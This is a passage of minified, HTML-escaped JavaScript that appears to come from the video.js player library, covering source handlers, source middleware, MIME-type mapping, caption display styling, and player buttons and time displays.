handlers=_Tech.sourceHandlers;handlers||(handlers=_Tech.sourceHandlers=[]),void 0===index&amp;&amp;(index=handlers.length),handlers.splice(index,0,handler)},_Tech.canPlayType=function(type){for(var can,handlers=_Tech.sourceHandlers||[],i=0;i&lt;handlers.length;i++)if(can=handlers[i].canPlayType(type))return can;return&quot;&quot;},_Tech.selectSourceHandler=function(source,options){for(var handlers=_Tech.sourceHandlers||[],i=0;i&lt;handlers.length;i++)if(handlers[i].canHandleSource(source,options))return handlers[i];return null},_Tech.canPlaySource=function(srcObj,options){var sh=_Tech.selectSourceHandler(srcObj,options);return sh?sh.canHandleSource(srcObj,options):&quot;&quot;};[&quot;seekable&quot;,&quot;seeking&quot;,&quot;duration&quot;].forEach((function(fnName){var originalFn=this[fnName];&quot;function&quot;==typeof originalFn&amp;&amp;(this[fnName]=function(){return this.sourceHandler_&amp;&amp;this.sourceHandler_[fnName]?this.sourceHandler_[fnName].apply(this.sourceHandler_,arguments):originalFn.apply(this,arguments)})}),_Tech.prototype),_Tech.prototype.setSource=function(source){var sh=_Tech.selectSourceHandler(source,this.options_);sh||(_Tech.nativeSourceHandler?sh=_Tech.nativeSourceHandler:log$1.error(&quot;No source handler found for the current source.&quot;)),this.disposeSourceHandler(),this.off(&quot;dispose&quot;,this.disposeSourceHandler_),sh!==_Tech.nativeSourceHandler&amp;&amp;(this.currentSource_=source),this.sourceHandler_=sh.handleSource(source,this,this.options_),this.one(&quot;dispose&quot;,this.disposeSourceHandler_)},_Tech.prototype.disposeSourceHandler=function(){this.currentSource_&amp;&amp;(this.clearTracks([&quot;audio&quot;,&quot;video&quot;]),this.currentSource_=null),this.cleanupAutoTextTracks(),this.sourceHandler_&amp;&amp;(this.sourceHandler_.dispose&amp;&amp;this.sourceHandler_.dispose(),this.sourceHandler_=null)}},Component$1.registerComponent(&quot;Tech&quot;,Tech),Tech.registerTech(&quot;Tech&quot;,Tech),Tech.defaultTechOrder_=[];var middlewares={},middlewareInstances={},TERMINATOR={};function setSource(player,src,next){player.setTimeout((function(){return setSourceHelper(src,middlewares[src.type],next,player)}),1)}function mediate(middleware,tech,method,arg){void 0===arg&amp;&amp;(arg=null);var callMethod=&quot;call&quot;+toTitleCase$1(method),middlewareValue=middleware.reduce(middlewareIterator(callMethod),arg),terminated=middlewareValue===TERMINATOR,returnValue=terminated?null:tech[method](middlewareValue);return function(mws,method,value,terminated){for(var i=mws.length-1;i&gt;=0;i--){var mw=mws[i];mw[method]&amp;&amp;mw[method](terminated,value)}}(middleware,method,returnValue,terminated),returnValue}var allowedGetters={buffered:1,currentTime:1,duration:1,muted:1,played:1,paused:1,seekable:1,volume:1,ended:1},allowedSetters={setCurrentTime:1,setMuted:1,setVolume:1},allowedMediators={play:1,pause:1};function middlewareIterator(method){return function(value,mw){return value===TERMINATOR?TERMINATOR:mw[method]?mw[method](value):value}}function setSourceHelper(src,middleware,next,player,acc,lastRun){void 0===src&amp;&amp;(src={}),void 0===middleware&amp;&amp;(middleware=[]),void 0===acc&amp;&amp;(acc=[]),void 0===lastRun&amp;&amp;(lastRun=!1);var _middleware=middleware,mwFactory=_middleware[0],mwrest=_middleware.slice(1);if(&quot;string&quot;==typeof mwFactory)setSourceHelper(src,middlewares[mwFactory],next,player,acc,lastRun);else if(mwFactory){var mw=function(player,mwFactory){var mws=middlewareInstances[player.id()],mw=null;if(null==mws)return mw=mwFactory(player),middlewareInstances[player.id()]=[[mwFactory,mw]],mw;for(var i=0;i&lt;mws.length;i++){var _mws$i=mws[i],mwf=_mws$i[0],mwi=_mws$i[1];mwf===mwFactory&amp;&amp;(mw=mwi)}return null===mw&amp;&amp;(mw=mwFactory(player),mws.push([mwFactory,mw])),mw}(player,mwFactory);if(!mw.setSource)return acc.push(mw),setSourceHelper(src,mwrest,next,player,acc,lastRun);mw.setSource(assign({},src),(function(err,_src){if(err)return setSourceHelper(src,mwrest,next,player,acc,lastRun);acc.push(mw),setSourceHelper(_src,src.type===_src.type?mwrest:middlewares[_src.type],next,player,acc,lastRun)}))}else mwrest.length?setSourceHelper(src,mwrest,next,player,acc,lastRun):lastRun?next(src,acc):setSourceHelper(src,middlewares[&quot;*&quot;],next,player,acc,!0)}var MimetypesKind={opus:&quot;video/ogg&quot;,ogv:&quot;video/ogg&quot;,mp4:&quot;video/mp4&quot;,mov:&quot;video/mp4&quot;,m4v:&quot;video/mp4&quot;,mkv:&quot;video/x-matroska&quot;,m4a:&quot;audio/mp4&quot;,mp3:&quot;audio/mpeg&quot;,aac:&quot;audio/aac&quot;,caf:&quot;audio/x-caf&quot;,flac:&quot;audio/flac&quot;,oga:&quot;audio/ogg&quot;,wav:&quot;audio/wav&quot;,m3u8:&quot;application/x-mpegURL&quot;,jpg:&quot;image/jpeg&quot;,jpeg:&quot;image/jpeg&quot;,gif:&quot;image/gif&quot;,png:&quot;image/png&quot;,svg:&quot;image/svg+xml&quot;,webp:&quot;image/webp&quot;},getMimetype=function(src){void 0===src&amp;&amp;(src=&quot;&quot;);var ext=getFileExtension(src);return MimetypesKind[ext.toLowerCase()]||&quot;&quot;},filterSource=function filterSource(src){if(Array.isArray(src)){var newsrc=[];src.forEach((function(srcobj){srcobj=filterSource(srcobj),Array.isArray(srcobj)?newsrc=newsrc.concat(srcobj):isObject$1(srcobj)&amp;&amp;newsrc.push(srcobj)})),src=newsrc}else src=&quot;string&quot;==typeof src&amp;&amp;src.trim()?[fixSource({src:src})]:isObject$1(src)&amp;&amp;&quot;string&quot;==typeof src.src&amp;&amp;src.src&amp;&amp;src.src.trim()?[fixSource(src)]:[];return src};function fixSource(src){if(!src.type){var mimetype=getMimetype(src.src);mimetype&amp;&amp;(src.type=mimetype)}return src}var MediaLoader=function(_Component){function MediaLoader(player,options,ready){var _this,options_=mergeOptions$3({createEl:!1},options);if(_this=_Component.call(this,player,options_,ready)||this,options.playerOptions.sources&amp;&amp;0!==options.playerOptions.sources.length)player.src(options.playerOptions.sources);else for(var i=0,j=options.playerOptions.techOrder;i&lt;j.length;i++){var techName=toTitleCase$1(j[i]),tech=Tech.getTech(techName);if(techName||(tech=Component$1.getComponent(techName)),tech&amp;&amp;tech.isSupported()){player.loadTech_(techName);break}}return _this}return inheritsLoose(MediaLoader,_Component),MediaLoader}(Component$1);Component$1.registerComponent(&quot;MediaLoader&quot;,MediaLoader);var ClickableComponent=function(_Component){function ClickableComponent(player,options){var _this;return(_this=_Component.call(this,player,options)||this).handleMouseOver_=function(e){return _this.handleMouseOver(e)},_this.handleMouseOut_=function(e){return _this.handleMouseOut(e)},_this.handleClick_=function(e){return _this.handleClick(e)},_this.handleKeyDown_=function(e){return _this.handleKeyDown(e)},_this.emitTapEvents(),_this.enable(),_this}inheritsLoose(ClickableComponent,_Component);var _proto=ClickableComponent.prototype;return _proto.createEl=function(tag,props,attributes){void 0===tag&amp;&amp;(tag=&quot;div&quot;),void 0===props&amp;&amp;(props={}),void 0===attributes&amp;&amp;(attributes={}),props=assign({className:this.buildCSSClass(),tabIndex:0},props),&quot;button&quot;===tag&amp;&amp;log$1.error(&quot;Creating a ClickableComponent with an HTML element of &quot;+tag+&quot; is not supported; use a Button instead.&quot;),attributes=assign({role:&quot;button&quot;},attributes),this.tabIndex_=props.tabIndex;var el=createEl(tag,props,attributes);return el.appendChild(createEl(&quot;span&quot;,{className:&quot;vjs-icon-placeholder&quot;},{&quot;aria-hidden&quot;:!0})),this.createControlTextEl(el),el},_proto.dispose=function(){this.controlTextEl_=null,_Component.prototype.dispose.call(this)},_proto.createControlTextEl=function(el){return this.controlTextEl_=createEl(&quot;span&quot;,{className:&quot;vjs-control-text&quot;},{&quot;aria-live&quot;:&quot;polite&quot;}),el&amp;&amp;el.appendChild(this.controlTextEl_),this.controlText(this.controlText_,el),this.controlTextEl_},_proto.controlText=function(text,el){if(void 0===el&amp;&amp;(el=this.el()),void 0===text)return this.controlText_||&quot;Need Text&quot;;var localizedText=this.localize(text);this.controlText_=text,textContent(this.controlTextEl_,localizedText),this.nonIconControl||this.player_.options_.noUITitleAttributes||el.setAttribute(&quot;title&quot;,localizedText)},_proto.buildCSSClass=function(){return&quot;vjs-control vjs-button &quot;+_Component.prototype.buildCSSClass.call(this)},_proto.enable=function(){this.enabled_||(this.enabled_=!0,this.removeClass(&quot;vjs-disabled&quot;),this.el_.setAttribute(&quot;aria-disabled&quot;,&quot;false&quot;),void 0!==this.tabIndex_&amp;&amp;this.el_.setAttribute(&quot;tabIndex&quot;,this.tabIndex_),this.on([&quot;tap&quot;,&quot;click&quot;],this.handleClick_),this.on(&quot;keydown&quot;,this.handleKeyDown_))},_proto.disable=function(){this.enabled_=!1,this.addClass(&quot;vjs-disabled&quot;),this.el_.setAttribute(&quot;aria-disabled&quot;,&quot;true&quot;),void 0!==this.tabIndex_&amp;&amp;this.el_.removeAttribute(&quot;tabIndex&quot;),this.off(&quot;mouseover&quot;,this.handleMouseOver_),this.off(&quot;mouseout&quot;,this.handleMouseOut_),this.off([&quot;tap&quot;,&quot;click&quot;],this.handleClick_),this.off(&quot;keydown&quot;,this.handleKeyDown_)},_proto.handleLanguagechange=function(){this.controlText(this.controlText_)},_proto.handleClick=function(event){this.options_.clickHandler&amp;&amp;this.options_.clickHandler.call(this,arguments)},_proto.handleKeyDown=function(event){keycode.isEventKey(event,&quot;Space&quot;)||keycode.isEventKey(event,&quot;Enter&quot;)?(event.preventDefault(),event.stopPropagation(),this.trigger(&quot;click&quot;)):_Component.prototype.handleKeyDown.call(this,event)},ClickableComponent}(Component$1);Component$1.registerComponent(&quot;ClickableComponent&quot;,ClickableComponent);var PosterImage=function(_ClickableComponent){function PosterImage(player,options){var _this;return(_this=_ClickableComponent.call(this,player,options)||this).update(),_this.update_=function(e){return _this.update(e)},player.on(&quot;posterchange&quot;,_this.update_),_this}inheritsLoose(PosterImage,_ClickableComponent);var _proto=PosterImage.prototype;return _proto.dispose=function(){this.player().off(&quot;posterchange&quot;,this.update_),_ClickableComponent.prototype.dispose.call(this)},_proto.createEl=function(){return createEl(&quot;div&quot;,{className:&quot;vjs-poster&quot;,tabIndex:-1})},_proto.update=function(event){var url=this.player().poster();this.setSrc(url),url?this.show():this.hide()},_proto.setSrc=function(url){var backgroundImage=&quot;&quot;;url&amp;&amp;(backgroundImage=&#039;url(&quot;&#039;+url+&#039;&quot;)&#039;),this.el_.style.backgroundImage=backgroundImage},_proto.handleClick=function(event){if(this.player_.controls()){var sourceIsEncrypted=this.player_.usingPlugin(&quot;eme&quot;)&amp;&amp;this.player_.eme.sessions&amp;&amp;this.player_.eme.sessions.length&gt;0;!this.player_.tech(!0)||(IE_VERSION||IS_EDGE)&amp;&amp;sourceIsEncrypted||this.player_.tech(!0).focus(),this.player_.paused()?silencePromise(this.player_.play()):this.player_.pause()}},PosterImage}(ClickableComponent);Component$1.registerComponent(&quot;PosterImage&quot;,PosterImage);var fontMap={monospace:&quot;monospace&quot;,sansSerif:&quot;sans-serif&quot;,serif:&quot;serif&quot;,monospaceSansSerif:&#039;&quot;Andale Mono&quot;, &quot;Lucida Console&quot;, monospace&#039;,monospaceSerif:&#039;&quot;Courier New&quot;, monospace&#039;,proportionalSansSerif:&quot;sans-serif&quot;,proportionalSerif:&quot;serif&quot;,casual:&#039;&quot;Comic Sans MS&quot;, Impact, fantasy&#039;,script:&#039;&quot;Monotype Corsiva&quot;, cursive&#039;,smallcaps:&#039;&quot;Andale Mono&quot;, &quot;Lucida Console&quot;, monospace, sans-serif&#039;};function constructColor(color,opacity){var hex;if(4===color.length)hex=color[1]+color[1]+color[2]+color[2]+color[3]+color[3];else{if(7!==color.length)throw new Error(&quot;Invalid color code provided, &quot;+color+&quot;; must be formatted as e.g. #f0e or #f604e2.&quot;);hex=color.slice(1)}return&quot;rgba(&quot;+parseInt(hex.slice(0,2),16)+&quot;,&quot;+parseInt(hex.slice(2,4),16)+&quot;,&quot;+parseInt(hex.slice(4,6),16)+&quot;,&quot;+opacity+&quot;)&quot;}function tryUpdateStyle(el,style,rule){try{el.style[style]=rule}catch(e){return}}var TextTrackDisplay=function(_Component){function TextTrackDisplay(player,options,ready){var _this;_this=_Component.call(this,player,options,ready)||this;var updateDisplayHandler=function(e){return _this.updateDisplay(e)};return player.on(&quot;loadstart&quot;,(function(e){return _this.toggleDisplay(e)})),player.on(&quot;texttrackchange&quot;,updateDisplayHandler),player.on(&quot;loadedmetadata&quot;,(function(e){return _this.preselectTrack(e)})),player.ready(bind(assertThisInitialized(_this),(function(){if(player.tech_&amp;&amp;player.tech_.featuresNativeTextTracks)this.hide();else{player.on(&quot;fullscreenchange&quot;,updateDisplayHandler),player.on(&quot;playerresize&quot;,updateDisplayHandler),window.addEventListener(&quot;orientationchange&quot;,updateDisplayHandler),player.on(&quot;dispose&quot;,(function(){return window.removeEventListener(&quot;orientationchange&quot;,updateDisplayHandler)}));for(var tracks=this.options_.playerOptions.tracks||[],i=0;i&lt;tracks.length;i++)this.player_.addRemoteTextTrack(tracks[i],!0);this.preselectTrack()}}))),_this}inheritsLoose(TextTrackDisplay,_Component);var _proto=TextTrackDisplay.prototype;return _proto.preselectTrack=function(){for(var firstDesc,firstCaptions,preferredTrack,modes={captions:1,subtitles:1},trackList=this.player_.textTracks(),userPref=this.player_.cache_.selectedLanguage,i=0;i&lt;trackList.length;i++){var track=trackList[i];userPref&amp;&amp;userPref.enabled&amp;&amp;userPref.language&amp;&amp;userPref.language===track.language&amp;&amp;track.kind in modes?track.kind===userPref.kind?preferredTrack=track:preferredTrack||(preferredTrack=track):userPref&amp;&amp;!userPref.enabled?(preferredTrack=null,firstDesc=null,firstCaptions=null):track.default&amp;&amp;(&quot;descriptions&quot;!==track.kind||firstDesc?track.kind in modes&amp;&amp;!firstCaptions&amp;&amp;(firstCaptions=track):firstDesc=track)}preferredTrack?preferredTrack.mode=&quot;showing&quot;:firstCaptions?firstCaptions.mode=&quot;showing&quot;:firstDesc&amp;&amp;(firstDesc.mode=&quot;showing&quot;)},_proto.toggleDisplay=function(){this.player_.tech_&amp;&amp;this.player_.tech_.featuresNativeTextTracks?this.hide():this.show()},_proto.createEl=function(){return _Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-text-track-display&quot;},{translate:&quot;yes&quot;,&quot;aria-live&quot;:&quot;off&quot;,&quot;aria-atomic&quot;:&quot;true&quot;})},_proto.clearDisplay=function(){&quot;function&quot;==typeof window.WebVTT&amp;&amp;window.WebVTT.processCues(window,[],this.el_)},_proto.updateDisplay=function(){var tracks=this.player_.textTracks(),allowMultipleShowingTracks=this.options_.allowMultipleShowingTracks;if(this.clearDisplay(),allowMultipleShowingTracks){for(var showingTracks=[],_i=0;_i&lt;tracks.length;++_i){var track=tracks[_i];&quot;showing&quot;===track.mode&amp;&amp;showingTracks.push(track)}this.updateForTrack(showingTracks)}else{for(var descriptionsTrack=null,captionsSubtitlesTrack=null,i=tracks.length;i--;){var _track=tracks[i];&quot;showing&quot;===_track.mode&amp;&amp;(&quot;descriptions&quot;===_track.kind?descriptionsTrack=_track:captionsSubtitlesTrack=_track)}captionsSubtitlesTrack?(&quot;off&quot;!==this.getAttribute(&quot;aria-live&quot;)&amp;&amp;this.setAttribute(&quot;aria-live&quot;,&quot;off&quot;),this.updateForTrack(captionsSubtitlesTrack)):descriptionsTrack&amp;&amp;(&quot;assertive&quot;!==this.getAttribute(&quot;aria-live&quot;)&amp;&amp;this.setAttribute(&quot;aria-live&quot;,&quot;assertive&quot;),this.updateForTrack(descriptionsTrack))}},_proto.updateDisplayState=function(track){for(var overrides=this.player_.textTrackSettings.getValues(),cues=track.activeCues,i=cues.length;i--;){var cue=cues[i];if(cue){var cueDiv=cue.displayState;if(overrides.color&amp;&amp;(cueDiv.firstChild.style.color=overrides.color),overrides.textOpacity&amp;&amp;tryUpdateStyle(cueDiv.firstChild,&quot;color&quot;,constructColor(overrides.color||&quot;#fff&quot;,overrides.textOpacity)),overrides.backgroundColor&amp;&amp;(cueDiv.firstChild.style.backgroundColor=overrides.backgroundColor),overrides.backgroundOpacity&amp;&amp;tryUpdateStyle(cueDiv.firstChild,&quot;backgroundColor&quot;,constructColor(overrides.backgroundColor||&quot;#000&quot;,overrides.backgroundOpacity)),overrides.windowColor&amp;&amp;(overrides.windowOpacity?tryUpdateStyle(cueDiv,&quot;backgroundColor&quot;,constructColor(overrides.windowColor,overrides.windowOpacity)):cueDiv.style.backgroundColor=overrides.windowColor),overrides.edgeStyle&amp;&amp;(&quot;dropshadow&quot;===overrides.edgeStyle?cueDiv.firstChild.style.textShadow=&quot;2px 2px 3px #222, 2px 2px 4px #222, 2px 2px 5px #222&quot;:&quot;raised&quot;===overrides.edgeStyle?cueDiv.firstChild.style.textShadow=&quot;1px 1px #222, 2px 2px #222, 3px 3px #222&quot;:&quot;depressed&quot;===overrides.edgeStyle?cueDiv.firstChild.style.textShadow=&quot;1px 1px #ccc, 0 1px #ccc, -1px -1px #222, 0 -1px #222&quot;:&quot;uniform&quot;===overrides.edgeStyle&amp;&amp;(cueDiv.firstChild.style.textShadow=&quot;0 0 4px #222, 0 0 4px #222, 0 0 4px #222, 0 0 4px #222&quot;)),overrides.fontPercent&amp;&amp;1!==overrides.fontPercent){var fontSize=window.parseFloat(cueDiv.style.fontSize);cueDiv.style.fontSize=fontSize*overrides.fontPercent+&quot;px&quot;,cueDiv.style.height=&quot;auto&quot;,cueDiv.style.top=&quot;auto&quot;}overrides.fontFamily&amp;&amp;&quot;default&quot;!==overrides.fontFamily&amp;&amp;(&quot;small-caps&quot;===overrides.fontFamily?cueDiv.firstChild.style.fontVariant=&quot;small-caps&quot;:cueDiv.firstChild.style.fontFamily=fontMap[overrides.fontFamily])}}},_proto.updateForTrack=function(tracks){if(Array.isArray(tracks)||(tracks=[tracks]),&quot;function&quot;==typeof window.WebVTT&amp;&amp;!tracks.every((function(track){return!track.activeCues}))){for(var cues=[],i=0;i&lt;tracks.length;++i)for(var track=tracks[i],j=0;j&lt;track.activeCues.length;++j)cues.push(track.activeCues[j]);window.WebVTT.processCues(window,cues,this.el_);for(var _i2=0;_i2&lt;tracks.length;++_i2){for(var _track2=tracks[_i2],_j=0;_j&lt;_track2.activeCues.length;++_j){var cueEl=_track2.activeCues[_j].displayState;addClass(cueEl,&quot;vjs-text-track-cue&quot;),addClass(cueEl,&quot;vjs-text-track-cue-&quot;+(_track2.language?_track2.language:_i2)),_track2.language&amp;&amp;setAttribute(cueEl,&quot;lang&quot;,_track2.language)}this.player_.textTrackSettings&amp;&amp;this.updateDisplayState(_track2)}}},TextTrackDisplay}(Component$1);Component$1.registerComponent(&quot;TextTrackDisplay&quot;,TextTrackDisplay);var LoadingSpinner=function(_Component){function LoadingSpinner(){return _Component.apply(this,arguments)||this}return inheritsLoose(LoadingSpinner,_Component),LoadingSpinner.prototype.createEl=function(){var isAudio=this.player_.isAudio(),playerType=this.localize(isAudio?&quot;Audio Player&quot;:&quot;Video Player&quot;),controlText=createEl(&quot;span&quot;,{className:&quot;vjs-control-text&quot;,textContent:this.localize(&quot;{1} is loading.&quot;,[playerType])}),el=_Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-loading-spinner&quot;,dir:&quot;ltr&quot;});return el.appendChild(controlText),el},LoadingSpinner}(Component$1);Component$1.registerComponent(&quot;LoadingSpinner&quot;,LoadingSpinner);var Button=function(_ClickableComponent){function Button(){return _ClickableComponent.apply(this,arguments)||this}inheritsLoose(Button,_ClickableComponent);var _proto=Button.prototype;return _proto.createEl=function(tag,props,attributes){void 0===props&amp;&amp;(props={}),void 0===attributes&amp;&amp;(attributes={});var el=createEl(&quot;button&quot;,props=assign({className:this.buildCSSClass()},props),attributes=assign({type:&quot;button&quot;},attributes));return el.appendChild(createEl(&quot;span&quot;,{className:&quot;vjs-icon-placeholder&quot;},{&quot;aria-hidden&quot;:!0})),this.createControlTextEl(el),el},_proto.addChild=function(child,options){void 0===options&amp;&amp;(options={});var className=this.constructor.name;return log$1.warn(&quot;Adding an actionable (user controllable) child to a Button (&quot;+className+&quot;) is not supported; use a ClickableComponent instead.&quot;),Component$1.prototype.addChild.call(this,child,options)},_proto.enable=function(){_ClickableComponent.prototype.enable.call(this),this.el_.removeAttribute(&quot;disabled&quot;)},_proto.disable=function(){_ClickableComponent.prototype.disable.call(this),this.el_.setAttribute(&quot;disabled&quot;,&quot;disabled&quot;)},_proto.handleKeyDown=function(event){keycode.isEventKey(event,&quot;Space&quot;)||keycode.isEventKey(event,&quot;Enter&quot;)?event.stopPropagation():_ClickableComponent.prototype.handleKeyDown.call(this,event)},Button}(ClickableComponent);Component$1.registerComponent(&quot;Button&quot;,Button);var BigPlayButton=function(_Button){function BigPlayButton(player,options){var _this;return(_this=_Button.call(this,player,options)||this).mouseused_=!1,_this.on(&quot;mousedown&quot;,(function(e){return _this.handleMouseDown(e)})),_this}inheritsLoose(BigPlayButton,_Button);var _proto=BigPlayButton.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-big-play-button&quot;},_proto.handleClick=function(event){var playPromise=this.player_.play();if(this.mouseused_&amp;&amp;event.clientX&amp;&amp;event.clientY){var sourceIsEncrypted=this.player_.usingPlugin(&quot;eme&quot;)&amp;&amp;this.player_.eme.sessions&amp;&amp;this.player_.eme.sessions.length&gt;0;return silencePromise(playPromise),void(!this.player_.tech(!0)||(IE_VERSION||IS_EDGE)&amp;&amp;sourceIsEncrypted||this.player_.tech(!0).focus())}var cb=this.player_.getChild(&quot;controlBar&quot;),playToggle=cb&amp;&amp;cb.getChild(&quot;playToggle&quot;);if(playToggle){var playFocus=function(){return playToggle.focus()};isPromise(playPromise)?playPromise.then(playFocus,(function(){})):this.setTimeout(playFocus,1)}else this.player_.tech(!0).focus()},_proto.handleKeyDown=function(event){this.mouseused_=!1,_Button.prototype.handleKeyDown.call(this,event)},_proto.handleMouseDown=function(event){this.mouseused_=!0},BigPlayButton}(Button);BigPlayButton.prototype.controlText_=&quot;Play Video&quot;,Component$1.registerComponent(&quot;BigPlayButton&quot;,BigPlayButton);var CloseButton=function(_Button){function CloseButton(player,options){var _this;return(_this=_Button.call(this,player,options)||this).controlText(options&amp;&amp;options.controlText||_this.localize(&quot;Close&quot;)),_this}inheritsLoose(CloseButton,_Button);var _proto=CloseButton.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-close-button &quot;+_Button.prototype.buildCSSClass.call(this)},_proto.handleClick=function(event){this.trigger({type:&quot;close&quot;,bubbles:!1})},_proto.handleKeyDown=function(event){keycode.isEventKey(event,&quot;Esc&quot;)?(event.preventDefault(),event.stopPropagation(),this.trigger(&quot;click&quot;)):_Button.prototype.handleKeyDown.call(this,event)},CloseButton}(Button);Component$1.registerComponent(&quot;CloseButton&quot;,CloseButton);var PlayToggle=function(_Button){function PlayToggle(player,options){var _this;return void 0===options&amp;&amp;(options={}),_this=_Button.call(this,player,options)||this,options.replay=void 0===options.replay||options.replay,_this.on(player,&quot;play&quot;,(function(e){return _this.handlePlay(e)})),_this.on(player,&quot;pause&quot;,(function(e){return _this.handlePause(e)})),options.replay&amp;&amp;_this.on(player,&quot;ended&quot;,(function(e){return _this.handleEnded(e)})),_this}inheritsLoose(PlayToggle,_Button);var _proto=PlayToggle.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-play-control &quot;+_Button.prototype.buildCSSClass.call(this)},_proto.handleClick=function(event){this.player_.paused()?silencePromise(this.player_.play()):this.player_.pause()},_proto.handleSeeked=function(event){this.removeClass(&quot;vjs-ended&quot;),this.player_.paused()?this.handlePause(event):this.handlePlay(event)},_proto.handlePlay=function(event){this.removeClass(&quot;vjs-ended&quot;),this.removeClass(&quot;vjs-paused&quot;),this.addClass(&quot;vjs-playing&quot;),this.controlText(&quot;Pause&quot;)},_proto.handlePause=function(event){this.removeClass(&quot;vjs-playing&quot;),this.addClass(&quot;vjs-paused&quot;),this.controlText(&quot;Play&quot;)},_proto.handleEnded=function(event){var _this2=this;this.removeClass(&quot;vjs-playing&quot;),this.addClass(&quot;vjs-ended&quot;),this.controlText(&quot;Replay&quot;),this.one(this.player_,&quot;seeked&quot;,(function(e){return _this2.handleSeeked(e)}))},PlayToggle}(Button);PlayToggle.prototype.controlText_=&quot;Play&quot;,Component$1.registerComponent(&quot;PlayToggle&quot;,PlayToggle);var defaultImplementation=function(seconds,guide){seconds=seconds&lt;0?0:seconds;var s=Math.floor(seconds%60),m=Math.floor(seconds/60%60),h=Math.floor(seconds/3600),gm=Math.floor(guide/60%60),gh=Math.floor(guide/3600);return(isNaN(seconds)||seconds===1/0)&amp;&amp;(h=m=s=&quot;-&quot;),(h=h&gt;0||gh&gt;0?h+&quot;:&quot;:&quot;&quot;)+(m=((h||gm&gt;=10)&amp;&amp;m&lt;10?&quot;0&quot;+m:m)+&quot;:&quot;)+(s=s&lt;10?&quot;0&quot;+s:s)},implementation=defaultImplementation;function formatTime(seconds,guide){return void 0===guide&amp;&amp;(guide=seconds),implementation(seconds,guide)}var TimeDisplay=function(_Component){function TimeDisplay(player,options){var _this;return(_this=_Component.call(this,player,options)||this).on(player,[&quot;timeupdate&quot;,&quot;ended&quot;],(function(e){return _this.updateContent(e)})),_this.updateTextNode_(),_this}inheritsLoose(TimeDisplay,_Component);var _proto=TimeDisplay.prototype;return _proto.createEl=function(){var className=this.buildCSSClass(),el=_Component.prototype.createEl.call(this,&quot;div&quot;,{className:className+&quot; vjs-time-control vjs-control&quot;}),span=createEl(&quot;span&quot;,{className:&quot;vjs-control-text&quot;,textContent:this.localize(this.labelText_)+&quot; &quot;},{role:&quot;presentation&quot;});return el.appendChild(span),this.contentEl_=createEl(&quot;span&quot;,{className:className+&quot;-display&quot;},{&quot;aria-live&quot;:&quot;off&quot;,role:&quot;presentation&quot;}),el.appendChild(this.contentEl_),el},_proto.dispose=function(){this.contentEl_=null,this.textNode_=null,_Component.prototype.dispose.call(this)},_proto.updateTextNode_=function(time){var _this2=this;void 0===time&amp;&amp;(time=0),time=formatTime(time),this.formattedTime_!==time&amp;&amp;(this.formattedTime_=time,this.requestNamedAnimationFrame(&quot;TimeDisplay#updateTextNode_&quot;,(function(){if(_this2.contentEl_){var oldNode=_this2.textNode_;oldNode&amp;&amp;_this2.contentEl_.firstChild!==oldNode&amp;&amp;(oldNode=null,log$1.warn(&quot;TimeDisplay#updateTextnode_: Prevented replacement of text node element since it was no longer a child of this node. Appending a new node instead.&quot;)),_this2.textNode_=document.createTextNode(_this2.formattedTime_),_this2.textNode_&amp;&amp;(oldNode?_this2.contentEl_.replaceChild(_this2.textNode_,oldNode):_this2.contentEl_.appendChild(_this2.textNode_))}})))},_proto.updateContent=function(event){},TimeDisplay}(Component$1);TimeDisplay.prototype.labelText_=&quot;Time&quot;,TimeDisplay.prototype.controlText_=&quot;Time&quot;,Component$1.registerComponent(&quot;TimeDisplay&quot;,TimeDisplay);var CurrentTimeDisplay=function(_TimeDisplay){function CurrentTimeDisplay(){return _TimeDisplay.apply(this,arguments)||this}inheritsLoose(CurrentTimeDisplay,_TimeDisplay);var _proto=CurrentTimeDisplay.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-current-time&quot;},_proto.updateContent=function(event){var time;time=this.player_.ended()?this.player_.duration():this.player_.scrubbing()?this.player_.getCache().currentTime:this.player_.currentTime(),this.updateTextNode_(time)},CurrentTimeDisplay}(TimeDisplay);CurrentTimeDisplay.prototype.labelText_=&quot;Current Time&quot;,CurrentTimeDisplay.prototype.controlText_=&quot;Current Time&quot;,Component$1.registerComponent(&quot;CurrentTimeDisplay&quot;,CurrentTimeDisplay);var DurationDisplay=function(_TimeDisplay){function DurationDisplay(player,options){var _this,updateContent=function(e){return _this.updateContent(e)};return(_this=_TimeDisplay.call(this,player,options)||this).on(player,&quot;durationchange&quot;,updateContent),_this.on(player,&quot;loadstart&quot;,updateContent),_this.on(player,&quot;loadedmetadata&quot;,updateContent),_this}inheritsLoose(DurationDisplay,_TimeDisplay);var _proto=DurationDisplay.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-duration&quot;},_proto.updateContent=function(event){var duration=this.player_.duration();this.updateTextNode_(duration)},DurationDisplay}(TimeDisplay);DurationDisplay.prototype.labelText_=&quot;Duration&quot;,DurationDisplay.prototype.controlText_=&quot;Duration&quot;,Component$1.registerComponent(&quot;DurationDisplay&quot;,DurationDisplay);var TimeDivider=function(_Component){function TimeDivider(){return _Component.apply(this,arguments)||this}return inheritsLoose(TimeDivider,_Component),TimeDivider.prototype.createEl=function(){var el=_Component.prototype.createEl.call(this,&quot;div&quot;,{className:&quot;vjs-time-control vjs-time-divider&quot;},{&quot;aria-hidden&quot;:!0}),div=_Component.prototype.createEl.call(this,&quot;div&quot;),span=_Component.prototype.createEl.call(this,&quot;span&quot;,{textContent:&quot;/&quot;});return div.appendChild(span),el.appendChild(div),el},TimeDivider}(Component$1);Component$1.registerComponent(&quot;TimeDivider&quot;,TimeDivider);var RemainingTimeDisplay=function(_TimeDisplay){function RemainingTimeDisplay(player,options){var _this;return(_this=_TimeDisplay.call(this,player,options)||this).on(player,&quot;durationchange&quot;,(function(e){return _this.updateContent(e)})),_this}inheritsLoose(RemainingTimeDisplay,_TimeDisplay);var _proto=RemainingTimeDisplay.prototype;return _proto.buildCSSClass=function(){return&quot;vjs-remaining-time&quot;},_proto.createEl=function(){var el=_TimeDisplay.prototype.createEl.call(this);return el.insertBefore(createEl(&quot;span&quot;,{},{&quot;aria-hidden&quot;:!0},&quot;-&quot;),this.contentEl_),el},_proto.updateContent=function(event){var time;&quot;number&quot;==typeof 